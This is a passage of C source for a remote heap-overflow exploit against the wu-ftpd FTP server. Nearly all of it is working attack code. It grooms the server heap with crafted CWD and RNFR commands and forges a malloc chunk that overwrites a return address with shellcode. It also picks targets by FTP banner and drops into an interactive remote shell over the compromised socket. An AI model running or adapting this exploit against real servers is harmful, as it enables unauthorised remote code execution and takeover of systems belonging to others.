| 644 | write (fd, INIT_CMD, strlen (INIT_CMD)); | ||
| 645 | shell (fd); | ||
| 646 | |||
| 647 | exit (EXIT_SUCCESS); | ||
| 648 | } | ||
| 649 | |||
| 650 | |||
| 651 | void | ||
| 652 | exploit (int fd, tgt_type *tgt) | ||
| 653 | { | ||
| 654 | unsigned long int dir_chunk_size, | ||
| 655 | bridge_dist, | ||
| 656 | padchunk_size, | ||
| 657 | fakechunk_size, | ||
| 658 | pad_before; | ||
| 659 | unsigned char * dl; /* dirlength */ | ||
| 660 | |||
| 661 | unsigned char xpbuf[512 + 64]; | ||
| 662 | |||
| 663 | |||
| 664 | /* figure out home directory length | ||
| 665 | */ | ||
| 666 | net_write (fd, "PWD\n"); | ||
| 667 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 "); | ||
| 668 | |||
| 669 | dl = strchr (xpbuf, '"'); | ||
| 670 | if (dl == NULL || strchr (dl + 1, '"') == NULL) { | ||
| 671 | fprintf (stderr, "faulty PWD reply: %s\n", xpbuf); | ||
| 672 | |||
| 673 | exit (EXIT_FAILURE); | ||
| 674 | } | ||
| 675 | |||
| 676 | dir_chunk_size = 0; | ||
| 677 | for (dl += 1 ; *dl != '"' ; ++dl) | ||
| 678 | dir_chunk_size += 1; | ||
| 679 | |||
| 680 | if (verbose) | ||
| 681 | printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf); | ||
| 682 | |||
| 683 | /* compute chunk size from it (needed later) | ||
| 684 | */ | ||
| 685 | dir_chunk_size += 3; /* ~/ + NUL byte */ | ||
| 686 | dir_chunk_size = CHUNK_ROUND (dir_chunk_size); | ||
| 687 | if (debugmode) | ||
| 688 | printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size); | ||
| 689 | |||
| 690 | |||
| 691 | /* send preparation buffer to store the fakechunk in the end of | ||
| 692 | * the malloc buffer allocated from within the parser ($1) | ||
| 693 | */ | ||
| 694 | printf ("# 2. sending bigbuf + fakechunk\n"); | ||
| 695 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 696 | if (verbose) | ||
| 697 | hexdump ("xpbuf", xpbuf, strlen (xpbuf)); | ||
| 698 | |||
| 699 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 700 | net_write (fd, "CWD %s\n", xpbuf); | ||
| 701 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 702 | |||
| 703 | |||
| 704 | /* synnergy.net uberleet method (thank you very much guys !) | ||
| 705 | */ | ||
| 706 | net_write (fd, "CWD ~/{.,.,.,.}\n"); | ||
| 707 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 708 | |||
| 709 | /* now, we flush the last-used-chunk marker in glibc malloc code. else | ||
| 710 | * we might land in a previously used bigger chunk, but we need a | ||
| 711 | * sequential order. "CWD ." will allocate a two byte chunk, which will | ||
| 712 | * be reused on any later small malloc. | ||
| 713 | */ | ||
| 714 | net_write (fd, "CWD .\n"); | ||
| 715 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 716 | |||
| 717 | |||
| 718 | /* cause chunk with padding size | ||
| 719 | */ | ||
| 720 | pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) + | ||
| 721 | dir_chunk_size - 0x08; | ||
| 722 | xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before)); | ||
| 723 | |||
| 724 | /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */ | ||
| 725 | bridge_dist = 0x10 + 4 * dir_chunk_size; | ||
| 726 | if (debugmode) | ||
| 727 | printf ("bridge_dist = 0x%08lx\n", bridge_dist); | ||
| 728 | |||
| 729 | /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */ | ||
| 730 | padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10; | ||
| 731 | if (debugmode) | ||
| 732 | printf ("padchunk_size = 0x%08lx\n", padchunk_size); | ||
| 733 | |||
| 734 | /* +4 = this_size field itself */ | ||
| 735 | fakechunk_size = CHUNK_POS + 4; | ||
| 736 | fakechunk_size -= pad_before; | ||
| 737 | fakechunk_size += 0x04; /* account for prev_size, too */ | ||
| 738 | fakechunk_size |= 0x1; /* set PREV_INUSE */ | ||
| 739 | |||
| 740 | if (debugmode) | ||
| 741 | printf ("fakechunk_size = 0x%08lx\n", fakechunk_size); | ||
| 742 | xp_buildsize (fd, fakechunk_size, 0x10); | ||
| 743 | |||
| 744 | /* pad down to the minimum possible size in 8 byte alignment | ||
| 745 | */ | ||
| 746 | if (verbose) | ||
| 747 | printf ("\npadchunk_size = 0x%08lx\n==> %lu\n", | ||
| 748 | padchunk_size, padchunk_size - 8 - 1); | ||
| 749 | xp_gapfill (fd, 1, padchunk_size - 8 - 1); | ||
| 750 | |||
| 751 | if (debugmode) { | ||
| 752 | printf ("press enter\n"); | ||
| 753 | getchar (); | ||
| 754 | } | ||
| 755 | |||
| 756 | return; | ||
| 757 | } | ||
| 758 | |||
| 759 | |||
| 760 | /* tgt_list | ||
| 761 | * | ||
| 762 | * give target list | ||
| 763 | */ | ||
| 764 | |||
| 765 | void | ||
| 766 | tgt_list (void) | ||
| 767 | { | ||
| 768 | int tgt_num; | ||
| 769 | |||
| 770 | |||
| 771 | printf ("num . description\n"); | ||
| 772 | printf ("----+-----------------------------------------------" | ||
| 773 | "--------\n"); | ||
| 774 | |||
| 775 | for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 776 | printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); | ||
| 777 | |||
| 778 | if (verbose) | ||
| 779 | printf (" : %s\n", targets[tgt_num].banner); | ||
| 780 | if (verbose >= 2) | ||
| 781 | printf (" : retloc: 0x%08lx " | ||
| 782 | "cbuf: 0x%08lx\n", | ||
| 783 | targets[tgt_num].retloc, | ||
| 784 | targets[tgt_num].cbuf); | ||
| 785 | } | ||
| 786 | printf (" '\n"); | ||
| 787 | |||
| 788 | return; | ||
| 789 | } | ||
| 790 | |||
| 791 | |||
| 792 | /* tgt_frombanner | ||
| 793 | * | ||
| 794 | * try to automatically select target from ftp banner | ||
| 795 | * | ||
| 796 | * return pointer to target structure on success | ||
| 797 | * return NULL on failure | ||
| 798 | */ | ||
| 799 | |||
| 800 | tgt_type * | ||
| 801 | tgt_frombanner (unsigned char *banner) | ||
| 802 | { | ||
| 803 | int tw; /* target list walker */ | ||
| 804 | |||
| 805 | |||
| 806 | for (tw = 0 ; targets[tw].desc != NULL ; ++tw) { | ||
| 807 | if (strstr (banner, targets[tw].banner) != NULL) | ||
| 808 | return (&targets[tw]); | ||
| 809 | } | ||
| 810 | |||
| 811 | return (NULL); | ||
| 812 | } | ||
| 813 | |||
| 814 | |||
| 815 | /* xp_buildsize | ||
| 816 | * | ||
| 817 | * set chunksize to this_size_ls. do this in a csize bytes long chunk. | ||
| 818 | * normally csize = 0x10. csize is always a padded chunksize. | ||
| 819 | */ | ||
| 820 | |||
| 821 | void | ||
| 822 | xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize) | ||
| 823 | { | ||
| 824 | int n, | ||
| 825 | cw; /* chunk walker */ | ||
| 826 | unsigned char tmpbuf[512]; | ||
| 827 | unsigned char * leet = "7350"; | ||
| 828 | |||
| 829 | |||
| 830 | for (n = 2 ; n > 0 ; --n) { | ||
| 831 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 832 | |||
| 833 | for (cw = 0 ; cw < (csize - 0x08) ; ++cw) | ||
| 834 | tmpbuf[cw] = leet[cw % 4]; | ||
| 835 | |||
| 836 | tmpbuf[cw - 4 + n] = '\0'; | ||
| 837 | if (debugmode) | ||
| 838 | printf (": CWD %s\n", tmpbuf); | ||
| 839 | |||
| 840 | net_write (fd, "CWD %s\n", tmpbuf); | ||
| 841 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 842 | } | ||
| 843 | |||
| 844 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 845 | for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw) | ||
| 846 | tmpbuf[cw] = leet[cw % 4]; | ||
| 847 | |||
| 848 | if (debugmode) | ||
| 849 | printf ("| CWD %s\n", tmpbuf); | ||
| 850 | |||
| 851 | net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls); | ||
| 852 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 853 | |||
| 854 | /* send a minimum-sized malloc request that will allocate a chunk | ||
| 855 | * with 'csize' overall bytes | ||
| 856 | */ | ||
| 857 | xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize)); | ||
| 858 | |||
| 859 | |||
| 860 | return; | ||
| 861 | } | ||
| 862 | |||
| 863 | |||
| 864 | /* xp_gapfill | ||
| 865 | * | ||
| 866 | * fill all small memory gaps in wuftpd malloc space. do this by sending | ||
| 867 | * rnfr requests which cause a memleak in wuftpd. | ||
| 868 | * | ||
| 869 | * return in any case | ||
| 870 | */ | ||
| 871 | |||
| 872 | void | ||
| 873 | xp_gapfill (int fd, int rnfr_num, int rnfr_size) | ||
| 874 | { | ||
| 875 | int n; | ||
| 876 | unsigned char * rb; /* rnfr buffer */ | ||
| 877 | unsigned char * rbw; /* rnfr buffer walker */ | ||
| 878 | unsigned char rcv_buf[512]; /* temporary receive buffer */ | ||
| 879 | |||
| 880 | if (debugmode) | ||
| 881 | printf ("RNFR: %d x 0x%08x (%d)\n", | ||
| 882 | rnfr_num, rnfr_size, rnfr_size); | ||
| 883 | |||
| 884 | rbw = rb = calloc (1, rnfr_size + 6); | ||
| 885 | strcpy (rbw, "RNFR "); | ||
| 886 | rbw += strlen (rbw); | ||
| 887 | |||
| 888 | /* append a string of "././././". since wuftpd only checks whether | ||
| 889 | * the pathname is lstat'able, it will go through without any problems | ||
| 890 | */ | ||
| 891 | for (n = 0 ; n < rnfr_size ; ++n) | ||
| 892 | strcat (rbw, ((n % 2) == 0) ? "." : "/"); | ||
| 893 | strcat (rbw, "\n"); | ||
| 894 | |||
| 895 | for (n = 0 ; n < rnfr_num; ++n) { | ||
| 896 | net_write (fd, "%s", rb); | ||
| 897 | ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); | ||
| 898 | } | ||
| 899 | free (rb); | ||
| 900 | |||
| 901 | return; | ||
| 902 | } | ||
| 903 | |||
| 904 | |||
| 905 | #define ADDR_STORE(ptr,addr){\ | ||
| 906 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 907 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 908 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 909 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 910 | } | ||
| 911 | |||
| 912 | |||
| 913 | int | ||
| 914 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 915 | { | ||
| 916 | unsigned char * wl; | ||
| 917 | |||
| 918 | |||
| 919 | memset (buf, '\0', buf_len); | ||
| 920 | |||
| 921 | memset (buf, '0', CHUNK_POS); | ||
| 922 | xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1); | ||
| 923 | |||
| 924 | for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) { | ||
| 925 | wl[0] = '\xeb'; | ||
| 926 | wl[1] = '\x0c'; | ||
| 927 | } | ||
| 928 | |||
| 929 | memcpy (&buf[buf_len - 1] - shellcode_len, shellcode, | ||
| 930 | shellcode_len); | ||
| 931 | |||
| 932 | |||
| 933 | return (strlen (buf)); | ||
| 934 | } | ||
| 935 | |||
| 936 | |||
| 937 | /* xp_buildchunk | ||
| 938 | * | ||
| 939 | * build the fake malloc chunk that will overwrite retloc with retaddr | ||
| 940 | */ | ||
| 941 | |||
| 942 | void | ||
| 943 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 944 | { | ||
| 945 | unsigned long int retaddr_eff; /* effective */ | ||
| 946 | |||
| 947 | |||
| 948 | if (user_retaddr) | ||
| 949 | retaddr_eff = user_retaddr; | ||
| 950 | else | ||
| 951 | retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16; | ||
| 952 | |||
| 953 | fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 954 | tgt->retloc, retaddr_eff, clen); | ||
| 955 | |||
| 956 | /* easy, straight forward technique | ||
| 957 | */ | ||
| 958 | ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ | ||
| 959 | ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */ | ||
| 960 | ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ | ||
| 961 | ADDR_STORE (&cspace[12], retaddr_eff); /* bk */ | ||
| 962 | |||
| 963 | return; | ||
| 964 | } | ||
| 965 | |||
| 966 | |||
| 967 | |||
| 968 | void | ||
| 969 | shell (int sock) | ||
| 970 | { | ||
| 971 | int l; | ||
| 972 | char buf[512]; | ||
| 973 | fd_set rfds; | ||
| 974 | |||
| 975 | |||
| 976 | while (1) { | ||
| 977 | FD_SET (0, &rfds); | ||
| 978 | FD_SET (sock, &rfds); | ||
| 979 | |||
| 980 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 981 | if (FD_ISSET (0, &rfds)) { | ||
| 982 | l = read (0, buf, sizeof (buf)); | ||
| 983 | if (l <= 0) { | ||
| 984 | perror ("read user"); | ||
| 985 | exit (EXIT_FAILURE); | ||
| 986 | } | ||
| 987 | write (sock, buf, l); | ||
| 988 | } | ||
| 989 | |||
| 990 | if (FD_ISSET (sock, &rfds)) { | ||
| 991 | l = read (sock, buf, sizeof (buf)); | ||
| 992 | if (l == 0) { | ||
| 993 | printf ("connection closed by foreign host.\n"); | ||
| 994 | exit (EXIT_FAILURE); | ||
| 995 | } else if (l < 0) { | ||
| 996 | perror ("read remote"); | ||
| 997 | exit (EXIT_FAILURE); | ||
| 998 | } | ||
| 999 | write (1, buf, l); | ||
| 1000 | } | ||
| 1001 | } | ||
| 1002 | } | ||
| 1003 | |||
| 1004 | |||
| 1005 | /*** FTP functions | ||
| 1006 | */ | ||
| 1007 | |||
| 1008 | /* FTP is TELNET is SHIT. | ||
| 1009 | */ | ||
| 1010 | |||
| 1011 | void | ||
| 1012 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 1013 | { | ||
| 1014 | unsigned char * obuf = buf; | ||
| 1015 | |||
| 1016 | |||
| 1017 | for ( ; *buf != '\0' ; ++buf) { | ||
| 1018 | if (*buf == 0xff && | ||
| 1019 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 1020 | { | ||
| 1021 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 1022 | buf += 1; | ||
| 1023 | } | ||
| 1024 | } | ||
| 1025 | } | ||
| 1026 | |||
| 1027 | |||
| 1028 | void | ||
| 1029 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 1030 | { | ||
| 1031 | char dbuff[2048]; | ||
| 1032 | |||
| 1033 | |||
| 1034 | if (buff == NULL) { | ||
| 1035 | buff = dbuff; | ||
| 1036 | len = sizeof (dbuff); | ||
| 1037 | } | ||
| 1038 | |||
| 1039 | do { | ||
| 1040 | memset (buff, '\x00', len); | ||
| 1041 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 1042 | return; | ||
| 1043 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 1044 | |||
| 1045 | return; | ||
| 1046 | } | ||
| 1047 | |||
| 1048 | |||
| 1049 | int | ||
| 1050 | ftp_login (char *host, char *user, char *pass) | ||
| 1051 | { | ||
| 1052 | int ftpsock; | ||
| 1053 | char resp[512]; | ||
| 1054 | |||
| 1055 | |||
| 1056 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 1057 | if (ftpsock <= 0) | ||
| 1058 | return (0); | ||
| 1059 | |||
| 1060 | memset (resp, '\x00', sizeof (resp)); | ||
| 1061 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 1062 | goto flerr; | ||
| 1063 | |||
| 1064 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 1065 | */ | ||
| 1066 | if (memcmp (resp, "220-", 4) == 0) | ||
| 1067 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 1068 | |||
| 1069 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 1070 | if (verbose) | ||
| 1071 | printf ("\n%s\n", resp); | ||
| 1072 | goto flerr; | ||
| 1073 | } | ||
| 1074 | ftp_banner = strdup (resp); | ||
| 1075 | |||
| 1076 | net_write (ftpsock, "USER %s\n", user); | ||
| 1077 | memset (resp, '\x00', sizeof (resp)); | ||
| 1078 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 1079 | goto flerr; | ||
| 1080 | |||
| 1081 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 1082 | if (verbose) | ||
| 1083 | printf ("\n%s\n", resp); | ||
| 1084 | goto flerr; | ||
| 1085 | } | ||
| 1086 | |||
| 1087 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 1088 | memset (resp, '\x00', sizeof (resp)); | ||
| 1089 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 1090 | goto flerr; | ||
| 1091 | |||
| 1092 | |||
| 1093 | /* handle multiline responses from ftp servers | ||
| 1094 | */ | ||
| 1095 | if (memcmp (resp, "230-", 4) == 0) | ||
| 1096 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 1097 | |||
| 1098 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 1099 | if (verbose) | ||
| 1100 | printf ("\n%s\n", resp); | ||
| 1101 | goto flerr; | ||
| 1102 | } | ||
| 1103 | |||
| 1104 | return (ftpsock); | ||
| 1105 | |||
| 1106 | flerr: | ||
| 1107 | if (ftpsock > 0) | ||
| 1108 | close (ftpsock); | ||
| 1109 | |||
| 1110 | return (0); | ||
| 1111 | } | ||
| 1112 | |||
| 1113 | |||
| 1114 | /* ripped from zodiac */ | ||
| 1115 | void | ||
| 1116 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 1117 | { | ||
| 1118 | unsigned int dp, p; /* data pointer */ | ||
| 1119 | const char trans[] = | ||
| 1120 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 1121 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 1122 | "nopqrstuvwxyz{|}~...................................." | ||
| 1123 | "....................................................." | ||
| 1124 | "........................................"; | ||
| 1125 | |||
| 1126 | |||
| 1127 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 1128 | |||
| 1129 | for (dp = 1; dp <= amount; dp++) { | ||
| 1130 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 1131 | if ((dp % 8) == 0) | ||
| 1132 | fprintf (stderr, " "); | ||
| 1133 | if ((dp % 16) == 0) { | ||
| 1134 | fprintf (stderr, "| "); | ||
| 1135 | p = dp; | ||
| 1136 | for (dp -= 16; dp < p; dp++) | ||
| 1137 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 1138 | fflush (stderr); | ||
| 1139 | fprintf (stderr, "\n"); | ||
| 1140 | } | ||
| 1141 | fflush (stderr); | ||
| 1142 | } | ||
| 1143 | if ((amount % 16) != 0) { | ||
| 1144 | p = dp = 16 - (amount % 16); | ||
| 1145 | for (dp = p; dp > 0; dp--) { | ||
| 1146 | fprintf (stderr, " "); | ||
| 1147 | if (((dp % 8) == 0) && (p != 8)) | ||
| 1148 | fprintf (stderr, " "); | ||
| 1149 | fflush (stderr); | ||
| 1150 | } | ||
| 1151 | fprintf (stderr, " | "); | ||
| 1152 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 1153 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 1154 | fflush (stderr); | ||
| 1155 | } | ||
| 1156 | fprintf (stderr, "\n"); | ||
| 1157 | |||
| 1158 | return; | ||
| 1159 | } | ||
| 1160 | |||
| 1161 | |||
| 1162 | |||
| 1163 | unsigned long int | ||
| 1164 | net_resolve (char *host) | ||
| 1165 | { | ||
| 1166 | long i; | ||
| 1167 | struct hostent *he; | ||
| 1168 | |||
| 1169 | i = inet_addr(host); | ||
| 1170 | if (i == -1) { | ||
| 1171 | he = gethostbyname(host); | ||
| 1172 | if (he == NULL) { | ||
| 1173 | return (0); | ||
| 1174 | } else { | ||
| 1175 | return (*(unsigned long *) he->h_addr); | ||
| 1176 | } | ||
| 1177 | } | ||
| 1178 | return (i); | ||
| 1179 | } | ||
| 1180 | |||
| 1181 | |||
| 1182 | int | ||
| 1183 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 1184 | unsigned short int port, int sec) | ||
| 1185 | { | ||
| 1186 | int n, | ||
| 1187 | len, | ||
| 1188 | error, | ||
| 1189 | flags; | ||
| 1190 | int fd; | ||
| 1191 | struct timeval tv; | ||
| 1192 | fd_set rset, wset; | ||
| 1193 | struct sockaddr_in csa; | ||
| 1194 | |||
| 1195 | if (cs == NULL) | ||
| 1196 | cs = &csa; | ||
| 1197 | |||
| 1198 | /* first allocate a socket */ | ||
| 1199 | cs->sin_family = AF_INET; | ||
| 1200 | cs->sin_port = htons (port); | ||
| 1201 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 1202 | if (fd == -1) | ||
| 1203 | return (-1); | ||
| 1204 | |||
| 1205 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 1206 | close (fd); | ||
| 1207 | return (-1); | ||
| 1208 | } | ||
| 1209 | |||
| 1210 | flags = fcntl (fd, F_GETFL, 0); | ||
| 1211 | if (flags == -1) { | ||
| 1212 | close (fd); | ||
| 1213 | return (-1); | ||
| 1214 | } | ||
| 1215 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1216 | if (n == -1) { | ||
| 1217 | close (fd); | ||
| 1218 | return (-1); | ||
| 1219 | } | ||
| 1220 | |||
| 1221 | error = 0; | ||
| 1222 | |||
| 1223 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 1224 | if (n < 0) { | ||
| 1225 | if (errno != EINPROGRESS) { | ||
| 1226 | close (fd); | ||
| 1227 | return (-1); | ||
| 1228 | } | ||
| 1229 | } | ||
| 1230 | if (n == 0) | ||
| 1231 | goto done; | ||
| 1232 | |||
| 1233 | FD_ZERO(&rset); | ||
| 1234 | FD_ZERO(&wset); | ||
| 1235 | FD_SET(fd, &rset); | ||
| 1236 | FD_SET(fd, &wset); | ||
| 1237 | tv.tv_sec = sec; | ||
| 1238 | tv.tv_usec = 0; | ||
| 1239 | |||
| 1240 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 1241 | if (n == 0) { | ||
| 1242 | close(fd); | ||
| 1243 | errno = ETIMEDOUT; | ||
| 1244 | return (-1); | ||
| 1245 | } | ||
| 1246 | if (n == -1) | ||
| 1247 | return (-1); | ||
| 1248 | |||
| 1249 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 1250 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 1251 | len = sizeof(error); | ||
| 1252 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 1253 | errno = ETIMEDOUT; | ||
| 1254 | return (-1); | ||
| 1255 | } | ||
| 1256 | if (error == 0) { | ||
| 1257 | goto done; | ||
| 1258 | } else { | ||
| 1259 | errno = error; | ||
| 1260 | return (-1); | ||
| 1261 | } | ||
| 1262 | } | ||
| 1263 | } else | ||
| 1264 | return (-1); | ||
| 1265 | |||
| 1266 | done: | ||
| 1267 | n = fcntl(fd, F_SETFL, flags); | ||
| 1268 | if (n == -1) | ||
| 1269 | return (-1); | ||
| 1270 | return (fd); | ||
| 1271 | } | ||
| 1272 | |||
| 1273 | |||
| 1274 | void | ||
| 1275 | net_write (int fd, const char *str, ...) | ||
| 1276 | { | ||
| 1277 | char tmp[1025]; | ||
| 1278 | va_list vl; | ||
| 1279 | int i; | ||
| 1280 | |||
| 1281 | va_start(vl, str); | ||
| 1282 | memset(tmp, 0, sizeof(tmp)); | ||
| 1283 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 1284 | va_end(vl); | ||
| 1285 | |||
| 1286 | #ifdef DEBUG | ||
| 1287 | printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); | ||
| 1288 | #endif | ||
| 1289 | |||
| 1290 | send(fd, tmp, i, 0); | ||
| 1291 | return; | ||
| 1292 | } | ||
| 1293 | |||
| 1294 | |||
| 1295 | int | ||
| 1296 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 1297 | { | ||
| 1298 | int n; | ||
| 1299 | unsigned long int rb = 0; | ||
| 1300 | struct timeval tv_start, tv_cur; | ||
| 1301 | |||
| 1302 | memset(buf, '\0', bufsize); | ||
| 1303 | (void) gettimeofday(&tv_start, NULL); | ||
| 1304 | |||
| 1305 | do { | ||
| 1306 | (void) gettimeofday(&tv_cur, NULL); | ||
| 1307 | if (sec > 0) { | ||
| 1308 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 1309 | ((tv_start.tv_sec * 1000000) + | ||
| 1310 | (tv_start.tv_usec))) > (sec * 1000000)) | ||
| 1311 | { | ||
| 1312 | return (-1); | ||
| 1313 | } | ||
| 1314 | } | ||
| 1315 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 1316 | if (n <= 0) { | ||
| 1317 | return (-1); | ||
| 1318 | } | ||
| 1319 | n = read(fd, buf, 1); | ||
| 1320 | if (n <= 0) { | ||
| 1321 | return (n); | ||
| 1322 | } | ||
| 1323 | rb++; | ||
| 1324 | if (*buf == '\n') | ||
| 1325 | return (rb); | ||
| 1326 | buf++; | ||
| 1327 | if (rb >= bufsize) | ||
| 1328 | return (-2); /* buffer full */ | ||
| 1329 | } while (1); | ||
| 1330 | } | ||
| 1331 | |||
| 1332 | |||
| 1333 | int | ||
| 1334 | net_rtimeout (int fd, int sec) | ||
| 1335 | { | ||
| 1336 | fd_set rset; | ||
| 1337 | struct timeval tv; | ||
| 1338 | int n, error, flags; | ||
| 1339 | |||
| 1340 | |||
| 1341 | error = 0; | ||
| 1342 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1343 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1344 | if (n == -1) | ||
| 1345 | return (-1); | ||
| 1346 | |||
| 1347 | FD_ZERO(&rset); | ||
| 1348 | FD_SET(fd, &rset); | ||
| 1349 | tv.tv_sec = sec; | ||
| 1350 | tv.tv_usec = 0; | ||
| 1351 | |||
| 1352 | /* now we wait until more data is received then the tcp low level | ||
| 1353 | * watermark, which should be setted to 1 in this case (1 is default) | ||
| 1354 | */ | ||
| 1355 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 1356 | if (n == 0) { | ||
| 1357 | n = fcntl(fd, F_SETFL, flags); | ||
| 1358 | if (n == -1) | ||
| 1359 | return (-1); | ||
| 1360 | errno = ETIMEDOUT; | ||
| 1361 | return (-1); | ||
| 1362 | } | ||
| 1363 | if (n == -1) { | ||
| 1364 | return (-1); | ||
| 1365 | } | ||
| 1366 | /* socket readable ? */ | ||
| 1367 | if (FD_ISSET(fd, &rset)) { | ||
| 1368 | n = fcntl(fd, F_SETFL, flags); | ||
| 1369 | if (n == -1) | ||
| 1370 | return (-1); | ||
| 1371 | return (1); | ||
| 1372 | } else { | ||
| 1373 | n = fcntl(fd, F_SETFL, flags); | ||
| 1374 | if (n == -1) | ||
| 1375 | return (-1); | ||
| 1376 | errno = ETIMEDOUT; | ||
| 1377 | return (-1); | ||
| 1378 | } | ||
| 1379 | } | ||
| 1380 | |||
| 1381 | |||
| 1382 | static int | ||
| 1383 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 1384 | unsigned char *shellcode, char **argv) | ||
| 1385 | { | ||
| 1386 | int i; | ||
| 1387 | size_t tl_orig = target_len; | ||
| 1388 | |||
| 1389 | |||
| 1390 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 1391 | return (-1); | ||
| 1392 | |||
| 1393 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 1394 | target += strlen (shellcode); | ||
| 1395 | target_len -= strlen (shellcode); | ||
| 1396 | |||
| 1397 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 1398 | ; | ||
| 1399 | |||
| 1400 | /* set argument count | ||
| 1401 | */ | ||
| 1402 | target[0] = (unsigned char) i; | ||
| 1403 | target++; | ||
| 1404 | target_len--; | ||
| 1405 | |||
| 1406 | for ( ; i > 0 ; ) { | ||
| 1407 | i -= 1; | ||
| 1408 | |||
| 1409 | if (strlen (argv[i]) >= target_len) | ||
| 1410 | return (-1); | ||
| 1411 | |||
| 1412 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 1413 | (tl_orig - target_len), tl_orig, | ||
| 1414 | strlen (argv[i]), argv[i]); | ||
| 1415 | |||
| 1416 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 1417 | target += strlen (argv[i]); | ||
| 1418 | target_len -= strlen (argv[i]); | ||
| 1419 | |||
| 1420 | target[0] = (unsigned char) (i + 1); | ||
| 1421 | target++; | ||
| 1422 | target_len -= 1; | ||
| 1423 | } | ||
